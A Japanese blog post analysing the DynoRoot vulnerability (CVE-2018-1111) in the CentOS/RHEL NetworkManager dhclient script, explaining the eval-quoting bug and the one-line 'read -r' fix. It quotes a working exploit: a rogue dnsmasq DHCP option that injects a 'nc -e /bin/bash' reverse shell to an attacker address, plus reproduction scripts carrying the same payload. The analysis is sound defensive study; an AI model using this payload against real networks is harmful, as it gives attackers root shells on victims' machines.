knqyf263's blog

自分のためのメモとして残しておくためのブログ。

DynoRoot (CVE-2018-1111) について調べてみた

DynoRoot (CVE-2018-1111) という脆弱性が公開されていたので調べてみました。 公開された日は時間取れませんでしたが、昨日は少し時間あったので試したりしました。 業務としてやってるわけじゃないので隙間時間にちょっとずつ進めた感じです。

概要

Red Hat Enterprise Linux 6/7に影響するCVE-2018-1111という脆弱性が公表されました。

CVE-2018-1111 - Red Hat Customer Portal

dhclientがNetworkManagerに提供しているスクリプト脆弱性があったようです。 DHCPクライアントの脆弱性になります。 DHCPクライアントがDHCPサーバから受け取ったDHCPのオプションを処理する際にバグが有り、任意コマンド実行が可能になっています。 NetworkManagerの権限で実行されるため、root権限での実行になります。

攻撃するためにはDHCPサーバになりすます必要があり(同一セグメントにいて正規のDHCPサーバより早く応答することでも攻撃可能)、攻撃可能なのは隣接ネットワークからになるため危険度は低いかなと思っています。 ですが環境によっては致命的なこともあると思いますので、各種情報を確認して判断して下さい。

セキュリティアップデートが公開済みなので、パッチを適用することで脆弱性を回避可能です。 変更は1行のみなので影響が出ることもないかと思います。 修正済みのバージョンについては上記URLからアドバイザリを確認して下さい。

詳細

ということで攻撃を試しつつ今回の脆弱性について見ていきます。

環境

RedHatという高尚なものは持っていないのでCentOSで試しました。 基本的に利用しているスクリプトは一緒だし動くだろーと思って雑に試したら動いた感じです。 CentOS 6系では異なると思いますが、基本的に以下ではCentOS 7で解説しています。

パッチ

CentOSのものになりますが、今回の修正は以下になります。

rpms/dhcp.git - git.centos.org

11-dhclientというファイルの

while read opt; do

の箇所を

while read -r opt; do

に変えただけですね。1行どころか2文字足しただけです。

11-dhclientはどこにあるかというと以下です。

# cat /etc/NetworkManager/dispatcher.d/11-dhclient
#!/bin/bash
# run dhclient.d scripts in an emulated environment

PATH=/bin:/usr/bin:/sbin
SAVEDIR=/var/lib/dhclient
ETCDIR=/etc/dhcp
interface=$1

eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
)"
...snip...

該当箇所はevalの中のようです。

Exploit

上記を頭に入れた上でExploitを見てみます。 Twitterで公開している人がいました。

こんなのよくシュッと出してくるなーという気持ちですが、とりあえず本体は以下のコマンドのようです。

$ dnsmasq --interface=eth0 --bind-interfaces  --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

dhcp-optionのところでコマンドが指定されています。

これを実際に試してみますが、説明が面倒なので例によって環境を作って置いておきました。 試したい人はどうぞ。

github.com

まとめると、victimなCentOSからdhcpIPアドレスを取りに行く時に、attackerが悪意のあるdhcp-optionを指定して応答すると任意コマンドが実行される、という流れになります。 ネットワーク関連の設定で色々ハマりやすいのでdocker-compose upで出来るようにしておきました。

詳細

先程のevalの中を見てみます。 declare コマンドでシェルの変数を全て表示して DHCP4_ から始まるものをreadしてwhileの中に渡しています。

このスクリプト内でdeclareの結果をdumpしてみると以下のようになります。 ちなみにこの変数がどこで定義されているかまでは調べてないので誰かの報告を待ちます。

DHCP4_BROADCAST_ADDRESS=10.10.0.255
DHCP4_DHCP_LEASE_TIME=3600
DHCP4_DHCP_MESSAGE_TYPE=5
DHCP4_DHCP_REBINDING_TIME=3150
DHCP4_DHCP_RENEWAL_TIME=1800
DHCP4_DHCP_SERVER_IDENTIFIER=10.10.0.3
DHCP4_DOMAIN_NAME_SERVERS=10.10.0.1
DHCP4_EXPIRY=1526609756
DHCP4_HOST_NAME=victim
DHCP4_IP_ADDRESS=10.10.0.11
DHCP4_NETWORK_NUMBER=10.10.0.0
DHCP4_NEXT_SERVER=10.10.0.3
DHCP4_REQUESTED_BROADCAST_ADDRESS=1
DHCP4_REQUESTED_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_DOMAIN_NAME=1
DHCP4_REQUESTED_DOMAIN_NAME_SERVERS=1
DHCP4_REQUESTED_DOMAIN_SEARCH=1
DHCP4_REQUESTED_HOST_NAME=1
DHCP4_REQUESTED_INTERFACE_MTU=1
DHCP4_REQUESTED_MS_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_NIS_DOMAIN=1
DHCP4_REQUESTED_NIS_SERVERS=1
DHCP4_REQUESTED_NTP_SERVERS=1
DHCP4_REQUESTED_RFC3442_CLASSLESS_STATIC_ROUTES=1
DHCP4_REQUESTED_ROUTERS=1
DHCP4_REQUESTED_STATIC_ROUTES=1
DHCP4_REQUESTED_SUBNET_MASK=1
DHCP4_REQUESTED_TIME_OFFSET=1
DHCP4_REQUESTED_WPAD=1
DHCP4_ROUTERS=10.10.0.1
DHCP4_SUBNET_MASK=255.255.255.0
DHCP4_WPAD=foo

--dhcp-option として渡した値が変数として定義されています。 --dhcp-option の252はWPADの設定になるので、WPADのところを見てみると以下のようになっています。 これは攻撃じゃなく普通の値を渡した場合になります。

DHCP4_WPAD=foo

ではExploitの値を指定した場合と比較しましょう。

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'

途中にシングルクォートが入っています。 結論から言えば、このシングルクォートでexportから抜け出してコマンドが実行されています。

先程のevalから見にくいのでevalを削ったスクリプトを作って実行してみます。

$ cat vuln.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\&nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done

これを実行すると以下のようになります。

$ ./vuln.sh
export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'

実際のスクリプトでは、この結果をさらに$()で囲ってevalしています。 つまり簡潔に書けば以下になります。

$ eval "$(echo "export new_wpad='yarrak'''&nc -e /bin/bash 10.10.0.3 1337 #'")"

これはシングルクォートでexportが閉じているため、exportコマンドとncコマンドの2つが実行されます。 この2つめを自由に指定できるため、任意コマンド実行が可能ということになります。

yarrakの後ろの1つめのシングルクォートで一旦閉じて、2つめのシングルクォートも3つめのシングルクォートで閉じて、単に文字列連結になって終了という感じです。

以下とかを見ると分かりやすいかもしれません。

$ export new_wpad='yarrak''a'
$ echo $new_wpad
yarraka

ちなみにexportしたあとを & にしてますが、 ; とかでも良いです。というかこういう時に & でいけるんだな、という感じでした。 バックグラウンド実行するときは一番最後に & 置いてましたが、途中に置いても区切りとして認識されて次のコマンドが実行されるんですね。

あと nc -e もめっちゃ便利ですね。。ただ危険だからか、標準で入ってるやつには -e オプションなかったので攻撃に使えない場合もあるかもしれません。

ということで攻撃の概要としては以上です。

次に修正後について見てみます。

$ cat fixed.sh
#!/bin/bash

DHCP4_WPAD='yarrak\'\''\;nc -e /bin/bash 10.10.0.3 1337 #'
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
$ ./fixed.sh
export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'

-r がついているので、バックスラッシュがそのままになっています。 これをevalしてみます。

$ eval "$(echo "export new_wpad='yarrak\'\'';nc -e /bin/bash 10.10.0.3 1337 #'")"
$ declare
...
_='export new_wpad='\''yarrak\'\''\'\'''\'';nc -e /bin/bash 10.10.0.3 1337 #'\'''
...

シングルクォートを抜けられず後ろのコマンドも変数に入ってしまっています。 ですが、bashでシングルクォートのエスケープしたことある方はご存知かと思いますが、あまり単純な話ではありません。

以下はうまくいきません。

$ echo 'abc\'def'

正しくエスケープするためには一旦閉じて、 \'エスケープしたあと文字列を再開する必要があります。

$ echo 'abc'\''def'

これを踏まえて上を見るとyarakのあとのバックスラッシュは無視されて、次のシングルクォートで一旦文字列が閉じます。 次に \' によってシングルクォートになります。 そして次のシングルクォートで文字列が再開され、仕込んだコマンドは文字列の中に入ってしまいます。

このようにシングルクォートを抜けられなくなったため、コマンドが実行されなくなりました。

とはいえ、何か複雑なので頑張れば抜けられるのでは...?という気持ちも少しあります。

まとめ

DynoRoot (CVE-2018-1111) について調査しました。 root権限で任意コマンド実行可能ですが、DHCPの応答として悪意あるパケットを返す必要があり、一般的な構成であればネットワークの外から攻撃可能ではないはずなので危険度は低めかなと思っています。 実際に試したら簡単に成功しました(環境を準備するのは大変だったけど)。 evalはやはり危険だなーという気持ちです。